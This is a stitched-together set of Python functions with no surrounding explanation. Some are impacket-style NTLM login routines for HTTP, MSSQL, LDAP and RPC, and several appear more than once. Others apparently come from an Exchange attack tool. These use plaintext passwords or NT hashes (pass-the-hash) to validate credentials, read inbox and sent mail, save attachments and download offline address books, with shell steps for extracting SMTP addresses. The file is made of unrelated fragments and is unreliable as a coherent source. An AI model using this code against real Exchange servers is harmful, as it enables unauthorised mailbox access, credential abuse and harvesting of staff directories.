def get_auth_headers_auto(self, http_obj, method, path, headers): if self.__aesKey != '' or self.__TGT != None or self.__TGS != None: raise Exception('NTLM authentication in HTTP connection used, ' \ 'cannot use Kerberos.') auth = ntlm.getNTLMSSPType1(domain=self.__domain) serverChallenge = self.send_ntlm_type1(http_obj, method, path, headers, auth.getData())[0] if serverChallenge is not None: self.__auth_type = AUTH_NTLM type3, exportedSessionKey = ntlm.getNTLMSSPType3( auth, serverChallenge, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) auth_line_http = 'NTLM %s' % base64.b64encode( type3.getData()).decode('ascii') else: if self.__auth_type == AUTH_AUTO and AUTH_BASIC in self.__auth_types: self.__auth_type = AUTH_BASIC return self.get_auth_headers_basic(http_obj, method, path, headers) else: raise Exception('No supported auth offered by URL: %s' % self.__auth_types) # Format: auth_headers, reserved, ... return {'Authorization': auth_line_http}, None
def login(self, database, username, password='', domain='', hashes = None, useWindowsAuth = False): if hashes is not None: lmhash, nthash = hashes.split(':') lmhash = binascii.a2b_hex(lmhash) nthash = binascii.a2b_hex(nthash) else: lmhash = '' nthash = '' resp = self.preLogin() # Test this! if resp['Encryption'] != TDS_ENCRYPT_NOT_SUP: print ("Encryption not supported") login = TDS_LOGIN() login['HostName'] = (''.join([random.choice(string.letters) for i in range(8)])).encode('utf-16le') login['AppName'] = (''.join([random.choice(string.letters) for i in range(8)])).encode('utf-16le') login['ServerName'] = self.server.encode('utf-16le') login['CltIntName'] = login['AppName'] login['ClientPID'] = random.randint(0,1024) if database is not None: login['Database'] = database.encode('utf-16le') login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON if useWindowsAuth is True: login['OptionFlags2'] |= TDS_INTEGRATED_SECURITY_ON # NTLMSSP Negotiate auth = ntlm.getNTLMSSPType1('WORKSTATION','') login['SSPI'] = str(auth) else: login['UserName'] = username.encode('utf-16le') login['Password'] = self.encryptPassword(password.encode('utf-16le')) login['SSPI'] = '' login['Length'] = len(str(login)) self.sendTDS(TDS_LOGIN7, str(login)) # Send the NTLMSSP Negotiate or SQL Auth Packet tds = self.recvTDS() if useWindowsAuth is True: serverChallenge = tds['Data'][3:] # Generate the NTLM ChallengeResponse AUTH type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, serverChallenge, username, password, domain, lmhash, nthash) self.sendTDS(TDS_SSPI, str(type3)) tds = self.recvTDS() self.replies = self.parseReply(tds['Data']) if self.replies.has_key(TDS_LOGINACK_TOKEN): return True else: return False
def login(self, user='', password='', domain='', lmhash='', nthash='', authenticationChoice='sicilyNegotiate'): """ logins into the target system :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string authenticationChoice: type of authentication protocol to use (default NTLM) :return: True, raises a LDAPSessionError if error. """ bindRequest = BindRequest() bindRequest['version'] = Integer7Bit(3) bindRequest['name'] = LDAPDN(user) if authenticationChoice == 'simple': bindRequest['authentication'] = AuthenticationChoice().setComponentByName(authenticationChoice, AuthSimple(password)) resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp'] elif authenticationChoice == 'sicilyPackageDiscovery': bindRequest['authentication'] = AuthenticationChoice().setComponentByName(authenticationChoice, '') resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp'] elif authenticationChoice == 'sicilyNegotiate': # Deal with NTLM Authentication if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0%s' % lmhash if len(nthash) % 2: nthash = '0%s' % nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except: pass # NTLM Negotiate negotiate = getNTLMSSPType1('', domain) bindRequest['authentication'] = AuthenticationChoice().setComponentByName('sicilyNegotiate', negotiate) resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp'] # NTLM Challenge type2 = resp['bindResponse']['matchedDN'] # NTLM Auth type3, exportedSessionKey = getNTLMSSPType3(negotiate, str(type2), user, password, domain, lmhash, nthash) bindRequest['authentication'] = AuthenticationChoice().setComponentByName('sicilyResponse', type3) resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp'] else: raise LDAPSessionError(errorString='Unknown authenticationChoice %s' % authenticationChoice) if resp['bindResponse']['resultCode'] != 0: raise LDAPSessionError(errorString='Error in bindRequest -> %s:%s' % ( resp['bindResponse']['resultCode'].prettyPrint(), resp['bindResponse']['diagnosticMessage'])) return True
def bind(self, uuid, alter = 0, bogus_binds = 0): bind = MSRPCBind() # Standard NDR Representation NDRSyntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') # NDR 64 NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') #item['TransferSyntax']['Version'] = 1 ctx = self._ctx for i in range(bogus_binds): item = CtxItem() item['ContextID'] = ctx item['TransItems'] = 1 item['ContextID'] = ctx # We generate random UUIDs for bogus binds item['AbstractSyntax'] = generate() + stringver_to_bin('2.0') item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax) bind.addCtxItem(item) self._ctx += 1 ctx += 1 # The true one :) item = CtxItem() item['AbstractSyntax'] = uuid item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax) item['ContextID'] = ctx item['TransItems'] = 1 bind.addCtxItem(item) packet = MSRPCHeader() packet['type'] = MSRPC_BIND packet['pduData'] = str(bind) packet['call_id'] = self.__callid if alter: packet['type'] = MSRPC_ALTERCTX if (self.__auth_level != RPC_C_AUTHN_LEVEL_NONE): if (self.__username is None) or (self.__password is None): self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash = self._transport.get_credentials() if self.__auth_type == RPC_C_AUTHN_WINNT: auth = ntlm.getNTLMSSPType1('', self.__domain, signingRequired = True, use_ntlmv2 = self._transport.doesSupportNTLMv2()) elif self.__auth_type == RPC_C_AUTHN_NETLOGON: from impacket.dcerpc import netlogon auth = netlogon.getSSPType1(self.__username[:-1], self.__domain, signingRequired = True) sec_trailer = SEC_TRAILER() sec_trailer['auth_type'] = self.__auth_type sec_trailer['auth_level'] = self.__auth_level sec_trailer['auth_ctx_id'] = self._ctx + 79231 pad = (4 - (len(packet.get_packet()) % 4)) % 4 if pad != 0: packet['pduData'] = packet['pduData'] + '\xFF'*pad sec_trailer['auth_pad_len']=pad packet['sec_trailer'] = sec_trailer packet['auth_data'] = str(auth) self._transport.send(packet.get_packet()) s = self._transport.recv() if s != 0: resp = MSRPCHeader(s) else: return 0 #mmm why not None? if resp['type'] == MSRPC_BINDACK or resp['type'] == MSRPC_ALTERCTX_R: bindResp = MSRPCBindAck(str(resp)) elif resp['type'] == MSRPC_BINDNAK: resp = MSRPCBindNak(resp['pduData']) status_code = resp['RejectedReason'] if rpc_status_codes.has_key(status_code): raise Exception(rpc_status_codes[status_code], resp) elif rpc_provider_reason.has_key(status_code): raise Exception("Bind context rejected: %s" % rpc_provider_reason[status_code]) else: raise Exception('Unknown DCE RPC fault status code: %.8x' % status_code, resp) else: raise Exception('Unknown DCE RPC packet type received: %d' % resp['type']) # check ack results for each context, except for the bogus ones for ctx in range(bogus_binds+1,bindResp['ctx_num']+1): result = bindResp.getCtxItem(ctx)['Result'] if result != 0: msg = "Bind context %d rejected: " % ctx msg += rpc_cont_def_result.get(result, 'Unknown DCE RPC context result code: %.4x' % result) msg += "; " reason = bindResp.getCtxItem(ctx)['Reason'] msg += rpc_provider_reason.get(reason, 'Unknown reason code: %.4x' % reason) if (result, reason) == (2, 1): # provider_rejection, abstract syntax not supported msg += " (this usually means the interface isn't listening on the given endpoint)" raise Exception(msg, resp) self.__max_xmit_size = bindResp['max_tfrag'] if self.__auth_level != RPC_C_AUTHN_LEVEL_NONE: if self.__auth_type == RPC_C_AUTHN_WINNT: response, randomSessionKey = ntlm.getNTLMSSPType3(auth, bindResp['auth_data'], self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, use_ntlmv2 = self._transport.doesSupportNTLMv2()) self.__flags = response['flags'] elif self.__auth_type == RPC_C_AUTHN_NETLOGON: response = None self.__sequence = 0 if self.__auth_level in (RPC_C_AUTHN_LEVEL_CONNECT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY): if self.__auth_type == RPC_C_AUTHN_WINNT: if self.__flags & ntlm.NTLMSSP_NTLM2_KEY: self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey) self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey,"Server") self.__clientSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey) self.__serverSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey,"Server") # Preparing the keys handle states cipher3 = ARC4.new(self.__clientSealingKey) self.__clientSealingHandle = cipher3.encrypt cipher4 = ARC4.new(self.__serverSealingKey) self.__serverSealingHandle = cipher4.encrypt else: # Same key for everything self.__clientSigningKey = randomSessionKey self.__serverSigningKey = randomSessionKey self.__clientSealingKey = randomSessionKey self.__serverSealingKey = randomSessionKey cipher = ARC4.new(self.__clientSigningKey) self.__clientSealingHandle = cipher.encrypt self.__serverSealingHandle = cipher.encrypt elif self.__auth_type == RPC_C_AUTHN_NETLOGON: pass sec_trailer = SEC_TRAILER() sec_trailer['auth_type'] = self.__auth_type sec_trailer['auth_level'] = self.__auth_level sec_trailer['auth_ctx_id'] = self._ctx + 79231 if response is not None: auth3 = MSRPCHeader() auth3['type'] = MSRPC_AUTH3 # pad (4 bytes): Can be set to any arbitrary value when set and MUST be # ignored on receipt. The pad field MUST be immediately followed by a # sec_trailer structure whose layout, location, and alignment are as # specified in section 2.2.2.11 auth3['pduData'] = ' ' auth3['sec_trailer'] = sec_trailer auth3['auth_data'] = str(response) # Use the same call_id self.__callid = resp['call_id'] auth3['call_id'] = self.__callid self._transport.send(auth3.get_packet(), forceWriteAndx = 1) self.__callid += 1 return resp # means packet is signed, if verifier is wrong it fails
def ewsManage(host, port, mode, domain, user, data, command): if command == "getfolderofinbox": POST_BODY = '''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <m:GetFolder> <m:FolderShape> <t:BaseShape>Default</t:BaseShape> </m:FolderShape> <m:FolderIds> <t:DistinguishedFolderId Id="inbox"/> </m:FolderIds> </m:GetFolder> </soap:Body> </soap:Envelope> ''' elif command == 'getfolderofsentitems': POST_BODY = '''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <m:GetFolder> <m:FolderShape> <t:BaseShape>Default</t:BaseShape> </m:FolderShape> <m:FolderIds> <t:DistinguishedFolderId Id="sentitems"/> </m:FolderIds> </m:GetFolder> </soap:Body> </soap:Envelope> ''' elif command == 'listmailofinbox': POST_BODY = '''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Header> <t:RequestServerVersion Version="Exchange2013_SP1" /> </soap:Header> <soap:Body> <m:FindItem Traversal="Shallow"> <m:ItemShape> <t:BaseShape>AllProperties</t:BaseShape> <t:BodyType>Text</t:BodyType> </m:ItemShape> <m:IndexedPageItemView MaxEntriesReturned="2147483647" Offset="0" BasePoint="Beginning" /> <m:ParentFolderIds> <t:DistinguishedFolderId Id="inbox" /> </m:ParentFolderIds> </m:FindItem> </soap:Body> </soap:Envelope> ''' elif command == 'listmailofsentitems': POST_BODY = '''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Header> <t:RequestServerVersion Version="Exchange2013_SP1" /> </soap:Header> <soap:Body> <m:FindItem Traversal="Shallow"> <m:ItemShape> <t:BaseShape>AllProperties</t:BaseShape> <t:BodyType>Text</t:BodyType> </m:ItemShape> <m:IndexedPageItemView MaxEntriesReturned="2147483647" Offset="0" BasePoint="Beginning" /> <m:ParentFolderIds> <t:DistinguishedFolderId Id="sentitems" /> </m:ParentFolderIds> </m:FindItem> </soap:Body> </soap:Envelope> ''' elif command == 'getmail': POST_BODY = '''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Header> <t:RequestServerVersion Version="Exchange2013_SP1" /> </soap:Header> <soap:Body> <m:GetItem> <m:ItemShape> <t:BaseShape>AllProperties</t:BaseShape> <t:BodyType>Text</t:BodyType> </m:ItemShape> <m:ItemIds> <t:ItemId Id="{id}" ChangeKey="{key}" /> </m:ItemIds> </m:GetItem> </soap:Body> </soap:Envelope> ''' Id = input("Input the ItemId of the Message:") Key = input("Input the ChangeKey of the Message:") POST_BODY = POST_BODY.format(id=Id, key=Key) elif command == 'getattachment': POST_BODY = '''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Header> <t:RequestServerVersion Version="Exchange2013_SP1" /> </soap:Header> <soap:Body> <m:GetItem> <m:ItemShape> <t:BaseShape>IdOnly</t:BaseShape> <t:AdditionalProperties> <t:FieldURI FieldURI="item:Attachments" /> </t:AdditionalProperties> </m:ItemShape> <m:ItemIds> <t:ItemId Id="{id}" /> </m:ItemIds> </m:GetItem> </soap:Body> </soap:Envelope> ''' Id = input("Input the ItemId of the Message who has Attachments:") POST_BODY = POST_BODY.format(id=Id) elif command == 'saveattachment': POST_BODY = '''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Header> <t:RequestServerVersion Version="Exchange2013_SP1" /> </soap:Header> <soap:Body> <m:GetAttachment> <m:AttachmentIds> <t:AttachmentId Id="{id}" /> </m:AttachmentIds> </m:GetAttachment> </soap:Body> </soap:Envelope> ''' Id = input("Input the Id of the attachment:") POST_BODY = POST_BODY.format(id=Id) else: print('[!]Wrong parameter') return False ews_url = "/EWS/Exchange.asmx" if port == 443: try: uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) session = HTTPSConnection(host, port, context=uv_context) except AttributeError: session = HTTPSConnection(host, port) else: session = HTTPConnection(host, port) # Use impacket for NTLM ntlm_nego = ntlm.getNTLMSSPType1(host, domain) #Negotiate auth negotiate = base64.b64encode(ntlm_nego.getData()) # Headers headers = { "Authorization": 'NTLM %s' % negotiate.decode('utf-8'), "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" } session.request("POST", ews_url, POST_BODY, headers) res = session.getresponse() res.read() if res.status != 401: print( 'Status code returned: %d. Authentication does not seem required for URL' % (res.status)) return False try: if 'NTLM' not in res.getheader('WWW-Authenticate'): print('NTLM Auth not offered by URL, offered protocols: %s' % (res.getheader('WWW-Authenticate'))) return False except (KeyError, TypeError): print('No authentication requested by the server for url %s' % (ews_url)) return False print('[*] Got 401, performing NTLM authentication') # Get negotiate data try: ntlm_challenge_b64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) ntlm_challenge = base64.b64decode(ntlm_challenge_b64) except (IndexError, KeyError, AttributeError): print('No NTLM challenge returned from server') return False if mode == 'plaintext': password1 = data nt_hash = '' elif mode == 'ntlmhash': password1 = '' nt_hash = binascii.unhexlify(data) else: print('[!]Wrong parameter') return False lm_hash = '' ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, user, password1, domain, lm_hash, nt_hash) auth = base64.b64encode(ntlm_auth.getData()) headers = { "Authorization": 'NTLM %s' % auth.decode('utf-8'), "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" } session.request("POST", ews_url, POST_BODY, headers) res = session.getresponse() body = res.read() filename = command + ".xml" if res.status == 401: print('[!] Server returned HTTP status 401 - authentication failed') return False else: print('[+] Valid:%s %s' % (user, data)) #print(body) print('[+] Save response file to %s' % (filename)) with open(filename, 'w+', encoding='utf-8') as file_object: file_object.write(bytes.decode(body)) if res.status == 200: if command == 'getattachment': responsecode_name = re.compile( r"<m:ResponseCode>(.*?)</m:ResponseCode>") responsecode = responsecode_name.findall(bytes.decode(body)) if responsecode[0] == 'NoError': pattern_name = re.compile(r"<t:Name>(.*?)</t:Name>") name = pattern_name.findall(bytes.decode(body)) for i in range(len(name)): print("[+] Attachment name: %s" % (name[i])) elif command == 'saveattachment': responsecode_name = re.compile( r"<m:ResponseCode>(.*?)</m:ResponseCode>") responsecode = responsecode_name.findall(bytes.decode(body)) if responsecode[0] == 'NoError': pattern_name = re.compile(r"<t:Name>(.*?)</t:Name>") name = pattern_name.findall(bytes.decode(body)) print('[+] Save attachment to %s' % (name[0])) pattern_data = re.compile(r"<t:Content>(.*?)</t:Content>") attachmentdata = pattern_data.findall(bytes.decode(body)) pattern_type = re.compile( r"<t:ContentType>(.*?)</t:ContentType>") contenttype = pattern_type.findall(bytes.decode(body)) if 'text' in contenttype: truedata = base64.b64decode(attachmentdata[0]) with open(name[0], 'w+') as file_object: file_object.write(truedata) else: truedata = base64.b64decode(attachmentdata[0]) with open(name[0], 'wb+') as file_object: file_object.write(truedata) else: print('[!] %s' % (responsecode[0])) return True
def login(self, user='', password='', domain='', lmhash='', nthash='', authenticationChoice='sicilyNegotiate'): """ logins into the target system :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string authenticationChoice: type of authentication protocol to use (default NTLM) :return: True, raises a LDAPSessionError if error. """ bindRequest = BindRequest() bindRequest['version'] = Integer7Bit(3) bindRequest['name'] = LDAPDN(user) if authenticationChoice == 'simple': bindRequest['authentication'] = AuthenticationChoice( ).setComponentByName(authenticationChoice, AuthSimple(password)) resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp'] elif authenticationChoice == 'sicilyPackageDiscovery': bindRequest['authentication'] = AuthenticationChoice( ).setComponentByName(authenticationChoice, '') resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp'] elif authenticationChoice == 'sicilyNegotiate': # Deal with NTLM Authentication if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0%s' % lmhash if len(nthash) % 2: nthash = '0%s' % nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except: pass # NTLM Negotiate negotiate = getNTLMSSPType1('', domain) bindRequest['authentication'] = AuthenticationChoice( ).setComponentByName('sicilyNegotiate', negotiate) resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp'] # NTLM Challenge type2 = resp['bindResponse']['matchedDN'] # NTLM Auth type3, exportedSessionKey = getNTLMSSPType3( negotiate, str(type2), user, password, domain, lmhash, nthash) bindRequest['authentication'] = AuthenticationChoice( ).setComponentByName('sicilyResponse', type3) resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp'] else: raise LDAPSessionError( errorString='Unknown authenticationChoice %s' % authenticationChoice) if resp['bindResponse']['resultCode'] != 0: raise LDAPSessionError( errorString='Error in bindRequest -> %s:%s' % (resp['bindResponse']['resultCode'].prettyPrint(), resp['bindResponse']['diagnosticMessage'])) return True
def checkAutodiscover(host, port, mode, email, data): autodiscover_url = "/autodiscover/autodiscover.xml" tmp = email.split('@') user = tmp[0] if port == 443: try: uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) session = HTTPSConnection(host, port, context=uv_context) except AttributeError: session = HTTPSConnection(host, port) else: session = HTTPConnection(host, port) # Use impacket for NTLM ntlm_nego = ntlm.getNTLMSSPType1(host) #Negotiate auth negotiate = base64.b64encode(ntlm_nego.getData()) # Headers headers = { "Authorization": 'NTLM %s' % negotiate.decode('utf-8'), "Accept-Encoding": "gzip", "User-Agent": "Microsoft Office/16.0 (Windows NT 6.1; Microsoft Outlook 16.0.4266; Pro)" } session.request("GET", autodiscover_url, "", headers) res = session.getresponse() res.read() if res.status != 401: print( 'Status code returned: %d. Authentication does not seem required for URL' % (res.status)) return False try: if 'NTLM' not in res.getheader('WWW-Authenticate'): print('NTLM Auth not offered by URL, offered protocols: %s' % (res.getheader('WWW-Authenticate'))) return False except (KeyError, TypeError): print('No authentication requested by the server for url %s' % (autodiscover_url)) return False print('[*] Got 401, performing NTLM authentication') # Get negotiate data try: ntlm_challenge_b64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) ntlm_challenge = base64.b64decode(ntlm_challenge_b64) except (IndexError, KeyError, AttributeError): print('No NTLM challenge returned from server') return False if mode == 'plaintext': password1 = data nt_hash = '' elif mode == 'ntlmhash': password1 = '' nt_hash = binascii.unhexlify(data) else: print('[!] Wrong parameter') return False lm_hash = '' ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, user, password1, host, lm_hash, nt_hash) auth = base64.b64encode(ntlm_auth.getData()) headers = { "Authorization": 'NTLM %s' % auth.decode('utf-8'), "Content-type": "text/xml", "X-Anchormailbox": '%s' % email, "X-Mapihttpcapability": '1', "Accept-Encoding": 'gzip' } POST_BODY = '''<?xml version="1.0" encoding="utf-8"?><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> <Request><EMailAddress>{EMailAddress}</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> </Request></Autodiscover> ''' POST_BODY = POST_BODY.format(EMailAddress=email) session.request("POST", autodiscover_url, POST_BODY, headers) res = session.getresponse() body = res.read() filedata = gzip.decompress(body).decode("utf-8") if res.status == 401: print('[!] Server returned HTTP status 401 - authentication failed') return False else: if 'ErrorCode' in filedata: pattern_name = re.compile(r"<ErrorCode>(.*?)</ErrorCode>") name = pattern_name.findall(filedata) print('[!] ErrorCode:%s' % (name[0])) pattern_name = re.compile(r"<Message>(.*?)</Message>") name = pattern_name.findall(filedata) print('[!] Message:%s' % (name[0])) else: print('[+] Valid:%s %s' % (user, data)) pattern_name = re.compile(r"<LegacyDN>(.*?)</LegacyDN>") name = pattern_name.findall(filedata) print('[+] LegacyDN:%s' % (name[0])) pattern_name = re.compile(r"<OABUrl>(.*?)</OABUrl>") name = pattern_name.findall(filedata) print('[+] OABUrl:%s' % (name[0])) if 'InternalUrl' in filedata: pattern_name = re.compile(r"<InternalUrl>(.*?)</InternalUrl>") name = pattern_name.findall(filedata) print('[+] InternalUrl:%s' % (name[0])) if '<AD>' in filedata: pattern_name = re.compile(r"<AD>(.*?)</AD>") name = pattern_name.findall(filedata) print('[+] AD:%s' % (name[0])) filename = "checkAutodiscover.xml" print('[+] Save response file to %s' % (filename)) with open(filename, 'w+') as file_object: file_object.write(filedata) return True
def downloadlzx(host, port, mode, email, data): OABID = input("Input the OABID:") lzxID = input("Input the lzx ID:(Eg: xx.lzx)") lzxURL = "/OAB/" + OABID + "/" + lzxID tmp = email.split('@') user = tmp[0] if port == 443: try: uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) session = HTTPSConnection(host, port, context=uv_context) except AttributeError: session = HTTPSConnection(host, port) else: session = HTTPConnection(host, port) # Use impacket for NTLM ntlm_nego = ntlm.getNTLMSSPType1(host) #Negotiate auth negotiate = base64.b64encode(ntlm_nego.getData()) # Headers headers = { "Authorization": 'NTLM %s' % negotiate.decode('utf-8'), "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" } session.request("GET", lzxURL, "", headers) res = session.getresponse() res.read() if res.status != 401: print( 'Status code returned: %d. Authentication does not seem required for URL' % (res.status)) return False try: if 'NTLM' not in res.getheader('WWW-Authenticate'): print('NTLM Auth not offered by URL, offered protocols: %s' % (res.getheader('WWW-Authenticate'))) return False except (KeyError, TypeError): print('No authentication requested by the server for url %s' % (lzxURL)) return False print('[*] Got 401, performing NTLM authentication') # Get negotiate data try: ntlm_challenge_b64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) ntlm_challenge = base64.b64decode(ntlm_challenge_b64) except (IndexError, KeyError, AttributeError): print('No NTLM challenge returned from server') return False if mode == 'plaintext': password1 = data nt_hash = '' elif mode == 'ntlmhash': password1 = '' nt_hash = binascii.unhexlify(data) else: print('[!] Wrong parameter') return False lm_hash = '' ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, user, password1, host, lm_hash, nt_hash) auth = base64.b64encode(ntlm_auth.getData()) headers = { "Authorization": 'NTLM %s' % auth.decode('utf-8'), "Content-type": "text/xml; charset=utf-8", "Accept-Encoding": "gzip, deflate, br", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "******", "Sec-Fetch-Dest": "document", "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" } session.request("GET", lzxURL, "", headers) res = session.getresponse() body = res.read() filedata = gzip.decompress(body) if res.status == 401: print('[!] Server returned HTTP status 401 - authentication failed') return False else: if res.status == 200: filename = lzxID print('[+] Save lzx file to %s' % (filename)) print( '\r\n[*] Then you can use oabextract to decrype the lzx file in Kali Linux.' ) print('Eg.') print( 'oabextract 4667c322-5c08-4cda-844a-253ff36b4a6a-data-5.lzx gal.oab' ) print('strings gal.oab|grep SMTP') with open(filename, 'wb+') as file_object: file_object.write(filedata) return True
def login(self, user='', password='', domain='', lmhash='', nthash='', authenticationChoice='sicilyNegotiate'): """ logins into the target system :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string authenticationChoice: type of authentication protocol to use (default NTLM) :return: True, raises a LDAPSessionError if error. """ bindRequest = BindRequest() bindRequest['version'] = 3 if authenticationChoice == 'simple': if '.' in domain: bindRequest['name'] = user + '@' + domain elif domain: bindRequest['name'] = domain + '\\' + user else: bindRequest['name'] = user bindRequest['authentication']['simple'] = password response = self.sendReceive(bindRequest)[0]['protocolOp'] elif authenticationChoice == 'sicilyPackageDiscovery': bindRequest['name'] = user bindRequest['authentication']['sicilyPackageDiscovery'] = '' response = self.sendReceive(bindRequest)[0]['protocolOp'] elif authenticationChoice == 'sicilyNegotiate': # Deal with NTLM Authentication if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0' + lmhash if len(nthash) % 2: nthash = '0' + nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except TypeError: pass bindRequest['name'] = user # NTLM Negotiate negotiate = getNTLMSSPType1('', domain) bindRequest['authentication']['sicilyNegotiate'] = negotiate response = self.sendReceive(bindRequest)[0]['protocolOp'] # NTLM Challenge type2 = response['bindResponse']['matchedDN'] # NTLM Auth type3, exportedSessionKey = getNTLMSSPType3( negotiate, str(type2), user, password, domain, lmhash, nthash) bindRequest['authentication']['sicilyResponse'] = type3 response = self.sendReceive(bindRequest)[0]['protocolOp'] else: raise LDAPSessionError( errorString="Unknown authenticationChoice: '%s'" % authenticationChoice) if response['bindResponse']['resultCode'] != ResultCode('success'): raise LDAPSessionError( errorString='Error in bindRequest -> %s: %s' % (response['bindResponse']['resultCode'].prettyPrint(), response['bindResponse']['diagnosticMessage'])) return True
